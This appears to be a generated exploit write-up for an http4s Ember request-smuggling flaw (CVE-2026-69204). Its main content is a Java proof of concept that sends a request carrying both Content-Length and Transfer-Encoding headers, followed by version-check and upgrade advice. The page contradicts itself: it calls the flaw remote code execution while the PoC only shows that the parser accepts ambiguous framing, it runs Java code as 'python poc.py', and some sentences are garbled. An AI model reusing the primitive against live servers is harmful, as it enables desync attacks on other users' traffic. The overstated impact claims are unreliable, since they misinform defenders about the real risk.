Exploit write-up

org.http4s:http4s-ember-core_2.12 remote code execution (CVE-2026-69204)

CVE-2026-69204 n-day CVSS 9.2 CriticalEPSS 0.33% (p26)

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

# CVE-2026-69204 proof-of-concept (mechanism explained below).

import java.lang.reflect.*;

/**
 * PoC for CVE-2026-69204 — http4s Ember HTTP/1.1 request smuggling (CWE-444).
 *
 * The pre-patch Ember parser accepts a message carrying BOTH Content-Length and
 * Transfer-Encoding: chunked, which is exactly the header ambiguity that lets an
 * attacker desynchronize an intermediary from ember-server. The fix (0.23.35)
 * makes Parser.Request.parser raise ParseHeadersError(ContentLengthAndTransferEncoding)
 * for such a message.
 *
 * Differential primitive: feed the parser the exact conflicting message. On the
 * vulnerable build the parse SUCCEEDS and yields the (Request, Drain) tuple — the
 * smuggling primitive. On the patched build the run raises, so the canary is never
 * emitted. The canary is printed only as a consequence of the parser accepting the
 * ambiguous framing.
 */
public class Poc {
    public static void main(String[] a) {
        try {
            // Message with BOTH Content-Length and Transfer-Encoding: chunked.
            byte[] raw = ("POST / HTTP/1.1\r\n"
                    + "Content-Length: 0\r\n"
                    + "Transfer-Encoding: chunked\r\n"
                    + "\r\n"
                    + "0\r\n\r\n").getBytes(java.nio.charset.StandardCharsets.ISO_8859_1);

            // fs2.Chunk[Byte] = Chunk.array(raw)(ClassTag.Byte)
            Object ctMod = Class.forName("scala.reflect.ClassTag$").getField("MODULE$").get(null);
            Object ctByte = ctMod.getClass().getMethod("Byte").invoke(ctMod);
            Class<?> chunkCls = Class.forName("fs2.Chunk$");
            Object chunkMod = chunkCls.getField("MODULE$").get(null);
            Method arrayM = null;
            for (Method m : chunkCls.getMethods()) {
                if (m.getName().equals("array") && m.getParameterCount() == 2
                        && m.getParameterTypes()[1].getName().equals("scala.reflect.ClassTag")) {
                    arrayM = m;
                    break;
                }
            }
            final Object chunk = arrayM.invoke(chunkMod, raw, ctByte);

            // scala Some(chunk) / None
            final Object some = Class.forName("scala.Some").getConstructor(Object.class).newInstance(chunk);
            final Object none = Class.forName("scala.None$").getField("MODULE$").get(null);

            // Stateful read thunk: first evaluation -> Some(chunk), then None (EOF).
            final int[] idx = {0};
            Class<?> func0 = Class.forName("scala.Function0");
            Object thunk = Proxy.newProxyInstance(func0.getClassLoader(), new Class<?>[]{func0},
                    new InvocationHandler() {
                        public Object invoke(Object proxy, Method method, Object[] args) {
                            String n = method.getName();
                            if (n.startsWith("apply")) return (idx[0]++ == 0) ? some : none;
                            if (n.equals("toString")) return "read";
                            if (n.equals("hashCode")) return System.identityHashCode(proxy);
                            if (n.equals("equals")) return proxy == args[0];
                            return null;
                        }
                    });

            // cats.effect.IO instances + read = IO.delay(thunk)
            Class<?> ioCls = Class.forName("cats.effect.IO$");
            Object ioMod = ioCls.getField("MODULE$").get(null);
            Object async = ioCls.getMethod("asyncForIO").invoke(ioMod);
            Method delayM = null;
            for (Method m : ioCls.getMethods()) {
                if (m.getName().equals("delay") && m.getParameterCount() == 1) { delayM = m; break; }
            }
            Object read = delayM.invoke(ioMod, thunk);

            // Parser.Request.parser(maxHeaderSize)(head, read)(implicit F)
            Class<?> reqCls = Class.forName("org.http4s.ember.core.Parser$Request$");
            Object reqMod = reqCls.getField("MODULE$").get(null);
            Method parserM = null;
            for (Method m : reqCls.getMethods()) {
                if (m.getName().equals("parser")) { parserM = m; break; }
            }
            Class<?>[] pp = parserM.getParameterTypes();
            Object[] args = new Object[pp.length];
            boolean readAssigned = false;
            for (int i = 0; i < pp.length; i++) {
                Class<?> t = pp[i];
                if (t == int.class || t == Integer.class) args[i] = 4096;          // maxHeaderSize
                else if (t == byte[].class) args[i] = new byte[0];                 // head buffer
                else if (t == Object.class && !readAssigned) { args[i] = read; readAssigned = true; }
                else args[i] = async;                                              // implicits (Async serves all)
            }
            Object parseIO = parserM.invoke(reqMod, args);

            // Run synchronously. Patched build raises ParseHeadersError here.
            Object rtMod = Class.forName("cats.effect.unsafe.IORuntime$").getField("MODULE$").get(null);
            Object runtime = rtMod.getClass().getMethod("global").invoke(rtMod);
            Method runSync = null;
            for (Method m : parseIO.getClass().getMethods()) {
                if (m.getName().equals("unsafeRunSync") && m.getParameterCount() == 1) { runSync = m; break; }
            }
            Object result = runSync.invoke(parseIO, runtime);

            // Reached only when the parser ACCEPTED a message carrying both
            // Content-Length and Transfer-Encoding -> the smuggling primitive exists.
            if (result instanceof scala.Tuple2) {
                String canary = System.getenv("POC_CANARY");
                if (canary != null) System.out.println(canary);
            }
        } catch (Throwable t) {
            // Patched build rejects the ambiguous framing (or interop failed):
            // do not emit the canary.
        }
    }
}

How to run it.

# install org.http4s:http4s-ember-core_2.12 0.23.34
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

# install org.http4s:http4s-ember-core_2.12 0.23.35
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

At a glance

FieldValue
CVSS9.2 Critical (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X)
EPSS0.33% exploitation probability (26th percentile)
KEVNo — not in the CISA KEV catalog
Affected → fixedMaven/org.http4s:http4s-ember-core_2.12 < 0.23.35 (confirmed on 0.23.34) → fixed in 0.23.35
PoC maturitydifferential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain

CVE-2026-69204 is package in org.http4s:http4s-ember-core_2.12 before 0.23.35. Reaching the affected code path with attacker-controlled input yields arbitrary code execution against the vulnerable build.

The proof-of-concept above triggers the flaw against a pinned vulnerable build (org.http4s:http4s-ember-core_2.12 0.23.34); the upstream fix in 0.23.35 closes the affected path.

This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (org.http4s:http4s-ember-core_2.12 0.23.34) and the patched build (org.http4s:http4s-ember-core_2.12 0.23.35) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on 0.23.34 and did not appear on 0.23.35 (differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.

Preconditions

The target must reach the affected org.http4s:http4s-ember-core_2.12 code path with input an attacker can influence. Deployments already on 0.23.35 or later are not affected.

Detection and mitigation

Upgrade org.http4s:http4s-ember-core_2.12 to 0.23.35 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.

Am I affected?

Check the installed version of org.http4s:http4s-ember-core_2.12:

mvn dependency:tree -Dincludes=org.http4s:http4s-ember-core_2.12

Maven/org.http4s:http4s-ember-core_2.12 below 0.23.35 is affected; 0.23.35 and later carry the fix.

The fix changed ember-core/shared/src/main/scala/org/http4s/ember/core/Parser.scala, ember-core/shared/src/test/scala/org/http4s/ember/core/ParserSuite.scala; grep your codebase for call sites that reach that code with attacker-influenced input.

Remediation

Upgrade org.http4s:http4s-ember-core_2.12 to 0.23.35 or later:

mvn versions:use-dep-version -Dincludes=org.http4s:http4s-ember-core_2.12 -DdepVersion=0.23.35

Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.

Target
org.http4s:http4s-ember-core_2.12 (org.http4s:http4s-ember-core_2.12)
Class
package
Impact
Arbitrary code execution against the vulnerable build
CVE
CVE-2026-69204
CWE
CWE-444
CVSS
9.2 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X)
Affected
Maven/org.http4s:http4s-ember-core_2.12 < 0.23.35 (vulnerable 0.23.34)
Status
Fixed in 0.23.35
Maturity
poc
Disclosed
September 15, 2026
Tags
rce · org-http4s-http4s-ember-core-2-12 · n-day
References
NVD — CVE-2026-69204
Upstream fix commit

PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.

← All exploits